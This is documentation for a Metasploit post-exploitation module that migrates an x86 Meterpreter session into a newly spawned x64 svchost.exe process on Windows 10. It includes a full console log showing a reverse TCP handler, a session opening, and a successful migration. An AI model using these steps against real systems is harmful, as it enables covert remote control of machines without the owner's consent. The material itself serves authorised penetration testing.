documentation/modules/post/windows/manage/archmigrate.md
To use this module you need an x86 executable type meterpreter on a x64 windows machine.
This module has been tested against:
This module was not tested against, but may work against:
The executable to start and migrate into. Default: C:\windows\sysnative\svchost.exe
If the selected migration executable does not exist, fallback to a sysnative file. Default: true
Migrate even if you have SYSTEM privileges. Default: true
use post/windows/manage/archmigrateset session #run msf exploit(handler) > run
[*] Started reverse TCP handler on <MSF_IP>:4567
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to <Win10x64_IP>
[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <Win10x64_IP>:50917) at 2017-03-22 11:43:42 -0500
meterpreter > sysinfo
Computer : DESKTOP-SO4MCA3
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/manage/archmigrate
msf post(archmigrate) > set session 1
session => 1
msf post(archmigrate) > run
[*] The meterpreter is not the same architecture as the OS! Upgrading!
[*] Starting new x64 process C:\windows\sysnative\svchost.exe
[+] Got pid 1772
[*] Migrating..
[+] Success!
[*] Post module execution completed
msf post(archmigrate) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-SO4MCA3\tmoose @ DESKTOP-SO4MCA3 <MSF_IP>:4567 -> <Win10x64_IP>:50917 (<Win10x64_IP>)
msf post(archmigrate) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-SO4MCA3
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows